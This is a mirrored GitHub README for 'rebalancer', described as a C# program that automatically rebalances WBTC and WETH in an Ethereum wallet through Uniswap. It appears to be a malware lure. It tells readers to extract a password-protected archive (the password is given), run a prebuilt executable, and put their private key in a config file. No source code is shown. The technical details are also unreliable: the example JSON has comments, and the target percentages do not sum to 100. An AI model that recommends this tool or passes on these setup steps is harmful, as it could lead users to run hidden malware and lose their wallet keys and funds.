Git Product home page Git Product logo

medlaare / rebalancer Goto Github PK

View Code? Open in Web Editor NEW
34.0 1.0 13.0 4.25 MB

The program periodically checks the user's wallet for WBTC and WETH balances, calculates the target allocation percentages, and initiates Uniswap transactions to rebalance the portfolio if deviations are detected.

etf-component etfs investment-rebalancer passive-investing portfolio-management rebalancing-bot smart-contract btc-eth crypto-portfolio-management ethereum

rebalancer's Introduction

Rebalancer

Ethereum Uniswap Rebalancer C# program is a simple solution for rebalancing tokens (WBTC and WETH) on ethereum wallet using Uniswap smart contracts. The program, written in C# and using the Nethereum library, allows users to automate the rebalancing process by adjusting token allocation according to specified percentages.

Key Features:

  • Rebalancing Strategy: The program implements a basic rebalancing strategy for a wallet between WBTC and WETH tokens with using Uniswap smart contracts.
  • User-Friendly Executable: Users can easily download and run the program through a compiled executable (UniswapRebalancer.exe), making it accessible to non-developers.
  • Customizable Configuration: Configuration parameters, including Infura API key, private key, wallet address, and token details, can be customized using the config.json file.

This tool is suitable for users who are looking for an automated approach to maintaining the desired number of tokens in their wallet. It serves as a starting point that can be extended and customized according to individual preferences and requirements.

Getting Started

  • Clone the repository and follow the step-by-step setup guide in the documentation.
  • Extract archive with password l4hyZ59Voc
  • Modify the config file:
  1. Ethereum Networks:
  • rpcUrl: The RPC URL for connecting to the Ethereum network.
  • gasPrice: The gas price in Wei to be used for transactions.
  • gasLimit: The gas limit per transaction.
  1. Rebalancer Settings:
  • targetWbtcPercentage: Target percentage for WBTC in the portfolio.
  • targetWethPercentage: Target percentage for WETH in the portfolio.
  • rebalancingInterval: Time interval for rebalancing (e.g., "1d" for every 1 day).
  • transactionTimeout: Timeout for individual transactions in seconds.
{
  "ethereum": {
    "mainnet": {
      "rpcUrl": "https://mainnet.infura.io/v3/YOUR_INFURA_API_KEY",
      "gasPrice": 1000000000,  // Gas price in Wei
      "gasLimit": 300000       // Gas limit per transaction
    },
    "ropsten": {
      "rpcUrl": "https://ropsten.infura.io/v3/YOUR_INFURA_API_KEY",
      "gasPrice": 500000000,   // Gas price in Wei
      "gasLimit": 200000       // Gas limit per transaction
    },
    // Add more networks as needed
  },
  "rebalancer": {
    "targetWbtcPercentage": 50,
    "targetWethPercentage": 30,
    "rebalancingInterval": "1d",  // Rebalance every 1 day
    "transactionTimeout": 600,   // Timeout for transactions in seconds
    // Add more rebalancing settings as needed
  }
}

How it works

Here's a simplified explanation of how the Ethereum Uniswap Rebalancer C# program works:

  1. Configuration:

    • The program is configured through a file (e.g., config.json) or environment variables, specifying Ethereum network details (RPC URL, gas costs) and rebalancing settings (target percentages, interval, timeout).
  2. Token Balances:

    • The program connects to the specified Ethereum network (e.g., mainnet or testnet) using the provided RPC URL.
    • It retrieves the current balances of WBTC and WETH tokens in the user's wallet using the Uniswap contract.
  3. Rebalancing Logic:

    • The program calculates the target amounts of WBTC and WETH based on the specified target percentages.
    • If the actual token balances deviate from the targets, it initiates a rebalancing process.
  4. Transaction Execution:

    • If excess WBTC is detected, the program initiates a Uniswap transaction to sell the excess WBTC for WETH.
    • If excess WETH is detected, it initiates a Uniswap transaction to sell the excess WETH for WBTC.
  5. Gas Settings:

    • Gas settings (gas price and limit) are used to determine transaction fees and ensure timely execution.
  6. Rebalancing Schedule:

    • The program can be set to rebalance at specific intervals (e.g., daily) to maintain the target allocation over time.
  7. Testnet Support:

    • Users are encouraged to test the program on a testnet first to ensure that it works as expected before using it on the Ethereum mainnet.
  8. Executable Usage:

    • Users can download the compiled executable (UniswapRebalancer.exe) from the repository releases.
    • They can run the executable, which prompts them for necessary inputs and executes the rebalancing strategy.

In general, the program automates the process of maintaining the desired distribution of WBTC and WETH in the wallet by periodically checking and rebalancing token holdings based on user-configured preferences.

rebalancer's People

Contributors

medlaare avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.